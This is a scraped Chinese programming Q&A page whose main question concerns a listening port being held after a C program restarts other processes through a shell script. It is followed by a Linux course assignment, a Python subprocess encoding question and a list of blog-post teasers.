进程1:Test起了一个监听端口用来监听socket,端口号是5033. 在Test中调用了一个shell脚本a.sh ,在a.sh中重启了两个程序,一个是Test1,一个是Test2. Test1中有一个监听端口8888,Test2中监听端口8889 ,使用a.sh调用后,在重启Test ,这个时候发现5033端口被Test1或者Test2占用了,实际上Test1和Test2是不占用5033端口的。 求大神知道是为什么啊,有什么办法调用脚本重启Test1和Test2后,在重启Test不出现问题。 Test 中popen ,system和exec都试过了, 都有这样情况。 1.popen("RebootPro.sh &","r"). 2.system("RebootPro.sh &"). 3.execl("/bin/sh","sh","RebootPro.sh","&",NULL),都不行哎。 shell脚本 #!/bin/bash ps -ef|grep Test1 |grep root|grep -v grep|awk '{print "kill -9 "$2}'|sh cd /export/home/test/T1 nohup Test1 -d & sleep 3 ps -ef|grep Test2 |grep root|grep -v grep|awk '{print "kill -9 "$2}'|sh cd /export/home/test/T2 nohup Test2 -d & sleep 3 或者大神们有什么方法用一个程序重启别的程序呢,给个例子~
Linux课程设计 用c语言实现
求源代码 1.Linux上的bash和Windows中的命令行有很大的不同。但是两者都有完成相似任务的命令,比如Linux上bash的ls命令的功能,类似于Windows命令行中的dir命令的功能。用C语言写一个简单的Linux终端软件,接收用户发出的类似于Windows命令行中的命令,转换成对应的Linux命令加以执行,并将执行的结果回显给用户。比如,用户输入“dir”,程序实际返回“ls”的内容。 2.软件包含前、后台两个程序,用户启动前台程序时,前台程序自行启动后台程序。前台程序提供界面,负责接收用户输入,对输入进行转换,并向后台程序发出实际要执行的指令,后台负责执行实际的指令,并将指令执行的结果返回给前台程序,由前台程序在终端显示。 成果要求 1.前台程序通过fork和execl系统调用启动后台程序。 2.前台程序创建消息队列和命名管道,通过消息队列向后台程序发送经过转换的用户命令;通过命名管道从后台程序获取命令执行的结果,并显示在终端。后台程序可以通过popen来执行转换后的命令。 3.至少实现如下Windows——Linux对照命令:dir——ls,rename——mv,move——mv,del——rm,cd——cd(pwd),exit——exit。 4.当用户输入exit时,前台程序指示后台程序结束,在后台程序结束后,前台程序退出;在此之前,用户的输入都被作为一条命令进行处理。
Python:两台电脑结果不同:一台Subprocess.Popen(xxx).stdout.readlines()返回值是乱码?/Pyintaller
最近在写一个小app,需要用ffmpeg打开视频获取视频头信息。然后再用pyinstaller打包成exe换到另外一台电脑上用。 在原电脑上一切正常,脚本运行和打包后的exe运行正常。但是在第二台电脑上exe拷贝过去后就出现了乱码。 主要是stdout.readlines()读取出的一个是正常的字符,一个貌似16进制的乱码。 代码如下: ``` for video_name in videos_list: args = ['ffprobe', video_name] t = subprocess.Popen(args, stdin = subprocess.PIPE, stdout = subprocess.PIPE, stderr = subprocess.STDOUT, shell = True).stdout.readlines() for i in t: print('单个的条目是',i) i = str(i,encoding='utf-8') print('str后',i) ``` 第一台电脑的返回值均一切正常: ![图片说明](https://img-ask.csdn.net/upload/201907/24/1563954484_484189.jpg) 第二台电脑,显示乱码: ![图片说明](https://img-ask.csdn.net/upload/201907/24/1563954566_450965.jpg)pyinst 第一台电脑:win10,64位,python3.7 32位,ffmpeg 32位 第二台电脑:win7,32位,pyinstaller打包的exe
Java学习的正确打开方式
在博主认为,对于入门级学习java的最佳学习方法莫过于视频+博客+书籍+总结,前三者博主将淋漓尽致地挥毫于这篇博客文章中,至于总结在于个人,实际上越到后面你会发现学习的最好方式就是阅读参考官方文档其次就是国内的书籍,博客次之,这又是一个层次了,这里暂时不提后面再谈。博主将为各位入门java保驾护航,各位只管冲鸭!!!上天是公平的,只要不辜负时间,时间自然不会辜负你。 何谓学习?博主所理解的学习,它是一个过程,是一个不断累积、不断沉淀、不断总结、善于传达自己的个人见解以及乐于分享的过程。
程序员必须掌握的核心算法有哪些?
由于我之前一直强调数据结构以及算法学习的重要性,所以就有一些读者经常问我,数据结构与算法应该要学习到哪个程度呢?,说实话,这个问题我不知道要怎么回答你,主要取决于你想学习到哪些程度,不过针对这个问题,我稍微总结一下我学过的算法知识点,以及我觉得值得学习的算法。这些算法与数据结构的学习大多数是零散的,并没有一本把他们全部覆盖的书籍。下面是我觉得值得学习的一些算法以及数据结构,当然,我也会整理一些看过...
大学四年自学走来,这些私藏的实用工具/学习网站我贡献出来了
大学四年,看课本是不可能一直看课本的了,对于学习,特别是自学,善于搜索网上的一些资源来辅助,还是非常有必要的,下面我就把这几年私藏的各种资源,网站贡献出来给你们。主要有:电子书搜索、实用工具、在线视频学习网站、非视频学习网站、软件下载、面试/求职必备网站。 注意:文中提到的所有资源,文末我都给你整理好了,你们只管拿去,如果觉得不错,转发、分享就是最大的支持了。 一、电子书搜索 对于大部分程序员...
linux系列之常用运维命令整理笔录
本博客记录工作中需要的linux运维命令,大学时候开始接触linux,会一些基本操作,可是都没有整理起来,加上是做开发,不做运维,有些命令忘记了,所以现在整理成博客,当然vi,文件操作等就不介绍了,慢慢积累一些其它拓展的命令,博客不定时更新 free -m 其中:m表示兆,也可以用g,注意都要小写 Men:表示物理内存统计 total:表示物理内存总数(total=used+free) use...
比特币原理详解
一、什么是比特币 比特币是一种电子货币,是一种基于密码学的货币,在2008年11月1日由中本聪发表比特币白皮书,文中提出了一种去中心化的电子记账系统,我们平时的电子现金是银行来记账,因为银行的背后是国家信用。去中心化电子记账系统是参与者共同记账。比特币可以防止主权危机、信用风险。其好处不多做赘述,这一层面介绍的文章很多,本文主要从更深层的技术原理角度进行介绍。 二、问题引入 假设现有4个人...
程序员接私活怎样防止做完了不给钱?
首先跟大家说明一点,我们做 IT 类的外包开发,是非标品开发,所以很有可能在开发过程中会有这样那样的需求修改,而这种需求修改很容易造成扯皮,进而影响到费用支付,甚至出现做完了项目收不到钱的情况。 那么,怎么保证自己的薪酬安全呢? 我们在开工前,一定要做好一些证据方面的准备(也就是“讨薪”的理论依据),这其中最重要的就是需求文档和验收标准。一定要让需求方提供这两个文档资料作为开发的基础。之后开发...
网页实现一个简单的音乐播放器(大佬别看。(⊙﹏⊙))
今天闲着无事,就想写点东西。然后听了下歌,就打算写个播放器。 于是乎用h5 audio的加上js简单的播放器完工了。 演示地点演示 html代码如下` music 这个年纪 七月的风 音乐 ` 然后就是css`*{ margin: 0; padding: 0; text-decoration: none; list-...
Python十大装B语法
Python 是一种代表简单思想的语言,其语法相对简单,很容易上手。不过,如果就此小视 Python 语法的精妙和深邃,那就大错特错了。本文精心筛选了最能展现 Python 语法之精妙的十个知识点,并附上详细的实例代码。如能在实战中融会贯通、灵活使用,必将使代码更为精炼、高效,同时也会极大提升代码B格,使之看上去更老练,读起来更优雅。
数据库优化 - SQL优化
以实际SQL入手,带你一步一步走上SQL优化之路!
2019年11月中国大陆编程语言排行榜
2019年11月2日,我统计了某招聘网站,获得有效程序员招聘数据9万条。针对招聘信息,提取编程语言关键字,并统计如下: 编程语言比例 rank pl_ percentage 1 java 33.62% 2 cpp 16.42% 3 c_sharp 12.82% 4 javascript 12.31% 5 python 7.93% 6 go 7.25% 7 p...
通俗易懂地给女朋友讲:线程池的内部原理
餐盘在灯光的照耀下格外晶莹洁白,女朋友拿起红酒杯轻轻地抿了一小口,对我说:“经常听你说线程池,到底线程池到底是个什么原理?”
《奇巧淫技》系列-python!!每天早上八点自动发送天气预报邮件到QQ邮箱
将代码部署服务器,每日早上定时获取到天气数据,并发送到邮箱。 也可以说是一个小型人工智障。 知识可以运用在不同地方,不一定非是天气预报。
经典算法(5)杨辉三角
杨辉三角 是经典算法,这篇博客对它的算法思想进行了讲解,并有完整的代码实现。
英特尔不为人知的 B 面
从 PC 时代至今,众人只知在 CPU、GPU、XPU、制程、工艺等战场中,英特尔在与同行硬件芯片制造商们的竞争中杀出重围,且在不断的成长进化中,成为全球知名的半导体公司。殊不知,在「刚硬」的背后,英特尔「柔性」的软件早已经做到了全方位的支持与支撑,并持续发挥独特的生态价值,推动产业合作共赢。 而对于这一不知人知的 B 面,很多人将其称之为英特尔隐形的翅膀,虽低调,但是影响力却不容小觑。 那么,在...
腾讯算法面试题:64匹马8个跑道需要多少轮才能选出最快的四匹?
昨天,有网友私信我,说去阿里面试,彻底的被打击到了。问了为什么网上大量使用ThreadLocal的源码都会加上private static?他被难住了,因为他从来都没有考虑过这个问题。无独有偶,今天笔者又发现有网友吐槽了一道腾讯的面试题,我们一起来看看。 腾讯算法面试题:64匹马8个跑道需要多少轮才能选出最快的四匹? 在互联网职场论坛,一名程序员发帖求助到。二面腾讯,其中一个算法题:64匹...
面试官:你连RESTful都不知道我怎么敢要你?
干货,2019 RESTful最贱实践
刷了几千道算法题,这些我私藏的刷题网站都在这里了!
遥想当年,机缘巧合入了 ACM 的坑,周边巨擘林立,从此过上了"天天被虐似死狗"的生活… 然而我是谁,我可是死狗中的战斗鸡,智力不够那刷题来凑,开始了夜以继日哼哧哼哧刷题的日子,从此"读题与提交齐飞, AC 与 WA 一色 ",我惊喜的发现被题虐既刺激又有快感,那一刻我泪流满面。这么好的事儿作为一个正直的人绝不能自己独享,经过激烈的颅内斗争,我决定把我私藏的十几个 T 的,阿不,十几个刷题网...
为啥国人偏爱Mybatis,而老外喜欢Hibernate/JPA呢?
关于SQL和ORM的争论,永远都不会终止,我也一直在思考这个问题。昨天又跟群里的小伙伴进行了一番讨论,感触还是有一些,于是就有了今天这篇文。 声明:本文不会下关于Mybatis和JPA两个持久层框架哪个更好这样的结论。只是摆事实,讲道理,所以,请各位看官勿喷。 一、事件起因 关于Mybatis和JPA孰优孰劣的问题,争论已经很多年了。一直也没有结论,毕竟每个人的喜好和习惯是大不相同的。我也看...
白话阿里巴巴Java开发手册高级篇
不久前,阿里巴巴发布了《阿里巴巴Java开发手册》,总结了阿里巴巴内部实际项目开发过程中开发人员应该遵守的研发流程规范,这些流程规范在一定程度上能够保证最终的项目交付质量,通过在时间中总结模式,并推广给广大开发人员,来避免研发人员在实践中容易犯的错误,确保最终在大规模协作的项目中达成既定目标。 无独有偶,笔者去年在公司里负责升级和制定研发流程、设计模板、设计标准、代码标准等规范,并在实际工作中进行...
SQL-小白最佳入门sql查询一
不要偷偷的查询我的个人资料,即使你再喜欢我,也不要这样,真的不好;
项目中的if else太多了,该怎么重构?
介绍 最近跟着公司的大佬开发了一款IM系统,类似QQ和微信哈,就是聊天软件。我们有一部分业务逻辑是这样的 if (msgType = "文本") { // dosomething } else if(msgType = "图片") { // doshomething } else if(msgType = "视频") { // doshomething } else { // doshom...
Nginx 原理和架构
Nginx 是一个免费的,开源的,高性能的 HTTP 服务器和反向代理,以及 IMAP / POP3 代理服务器。Nginx 以其高性能,稳定性,丰富的功能,简单的配置和低资源消耗而闻名。 Nginx 的整体架构 Nginx 里有一个 master 进程和多个 worker 进程。master 进程并不处理网络请求,主要负责调度工作进程:加载配置、启动工作进程及非停升级。worker 进程负责处...
【图解经典算法题】如何用一行代码解决约瑟夫环问题
约瑟夫环问题算是很经典的题了,估计大家都听说过,然后我就在一次笔试中遇到了,下面我就用 3 种方法来详细讲解一下这道题,最后一种方法学了之后保证让你可以让你装逼。 问题描述:编号为 1-N 的 N 个士兵围坐在一起形成一个圆圈,从编号为 1 的士兵开始依次报数(1,2,3…这样依次报),数到 m 的 士兵会被杀死出列,之后的士兵再从 1 开始报数。直到最后剩下一士兵,求这个士兵的编号。 1、方...
吐血推荐珍藏的Visual Studio Code插件
作为一名Java工程师,由于工作需要,最近一个月一直在写NodeJS,这种经历可以说是一部辛酸史了。好在有神器Visual Studio Code陪伴,让我的这段经历没有更加困难。眼看这段经历要告一段落了,今天就来给大家分享一下我常用的一些VSC的插件。 VSC的插件安装方法很简单,只需要点击左侧最下方的插件栏选项,然后就可以搜索你想要的插件了。 下面我们进入正题 Material Theme ...
如何防止抄袭PCB电路板
目录 1、抄板是什么 2、抄板是否属于侵权 3、如何防止抄板 1、抄板是什么 抄板也叫克隆或仿制,是对设计出来的PCB板进行反向技术研究;目前全新的定义:从狭义上来说,抄板仅指对电子产品电路板PCB文件的提取还原和利用文件进行电路板克隆的过程;从广义上来说,抄板不仅包括对电路板文件提取、电路板克隆、电路板仿制等技术过程,而且包括对电路板文件进行修改(即改板)、对电子产品外形模具进行三维...
“狗屁不通文章生成器”登顶GitHub热榜,分分钟写出万字形式主义大作
一、垃圾文字生成器介绍 最近在浏览GitHub的时候,发现了这样一个骨骼清奇的雷人项目,而且热度还特别高。 项目中文名:狗屁不通文章生成器 项目英文名:BullshitGenerator 根据作者的介绍,他是偶尔需要一些中文文字用于GUI开发时测试文本渲染,因此开发了这个废话生成器。但由于生成的废话实在是太过富于哲理,所以最近已经被小伙伴们给玩坏了。 他的文风可能是这样的: 你发现,...
程序员:我终于知道post和get的区别
是一个老生常谈的话题,然而随着不断的学习,对于以前的认识有很多误区,所以还是需要不断地总结的,学而时习之,不亦说乎
《程序人生》系列-这个程序员只用了20行代码就拿了冠军
你知道的越多,你不知道的越多 点赞再看,养成习惯GitHub上已经开源https://github.com/JavaFamily,有一线大厂面试点脑图,欢迎Star和完善 前言 这一期不算《吊打面试官》系列的,所有没前言我直接开始。 絮叨 本来应该是没有这期的,看过我上期的小伙伴应该是知道的嘛,双十一比较忙嘛,要值班又要去帮忙拍摄年会的视频素材,还得搞个程序员一天的Vlog,还要写BU...
加快推动区块链技术和产业创新发展,2019可信区块链峰会在京召开
11月8日,由中国信息通信研究院、中国通信标准化协会、中国互联网协会、可信区块链推进计划联合主办,科技行者协办的2019可信区块链峰会将在北京悠唐皇冠假日酒店开幕。   区块链技术被认为是继蒸汽机、电力、互联网之后,下一代颠覆性的核心技术。如果说蒸汽机释放了人类的生产力,电力解决了人类基本的生活需求,互联网彻底改变了信息传递的方式,区块链作为构造信任的技术有重要的价值。   1...
Python 植物大战僵尸代码实现(2):植物卡片选择和种植
这篇文章要介绍的是: - 上方植物卡片栏的实现。 - 点击植物卡片,鼠标切换为植物图片。 - 鼠标移动时,判断当前在哪个方格中,并显示半透明的植物作为提示。
相关热词 c# 引用mysql c#动态加载非托管dll c# 两个表数据同步 c# 返回浮点json c# imap 链接状态 c# 漂亮字 c# 上取整 除法 c#substring c#中延时关闭 c#线段拖拉
立即提问